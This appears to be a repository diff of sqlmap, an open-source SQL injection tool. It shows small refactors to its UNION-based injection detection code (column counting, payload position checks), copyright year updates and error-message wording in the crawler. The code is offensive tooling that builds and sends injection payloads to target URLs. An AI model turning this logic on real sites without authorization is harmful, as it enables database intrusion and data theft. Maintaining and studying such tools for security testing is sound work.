lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1:
found = kb.orderByColumns or _orderByTechnique()
if lowerCount == 1 or conf.uCols:
found = kb.orderByColumns or _orderByTechnique(lowerCount, upperCount)
if found:
kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -115,7 +115,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if not isNullValue(kb.uChar):
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
contains = [(count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()]
contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
if len(filter(lambda _: _[1], contains)) == 1:
retVal = filter(lambda _: _[1], contains)[0][0]
break
@@ -178,7 +178,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(charCount)
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.escape(randQueryProcessed)
@@ -188,9 +188,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
if content and phrase in content:
validPayload = payload
@@ -200,7 +198,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(charCount)
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
@@ -210,7 +208,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
@@ -223,9 +221,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg)
@@ -277,7 +273,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider "
@@ -298,7 +294,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
warnMsg += "forcing the "
warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "
if not all([validPayload, vector]) and not warnMsg.endswith("consider "):
if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
singleTimeWarnMessage(warnMsg)
return validPayload, vector
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -262,7 +262,7 @@ def unionUse(expression, unpack=True, dump=False):
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -2
View File
@@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -45,7 +45,6 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
from lib.core.settings import RESTAPI_DEFAULT_PORT
from lib.core.subprocessng import Popen
from lib.parse.cmdline import cmdLineParser
from thirdparty.bottle.bottle import abort
from thirdparty.bottle.bottle import error as return_error
from thirdparty.bottle.bottle import get
from thirdparty.bottle.bottle import hook
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -278,7 +278,7 @@ def columnExists(columnFile, regex=None):
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()):
for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
+3 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -64,14 +64,14 @@ def crawl(target):
if current:
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
except SqlmapConnectionException, ex:
errMsg = "connection exception detected (%s). skipping " % getSafeExString(ex)
errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
except SqlmapSyntaxException:
errMsg = "invalid URL detected. skipping '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, ex:
errMsg = "invalid URL detected (%s). skipping " % getSafeExString(ex)
errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)

Some files were not shown because too many files have changed in this diff Show More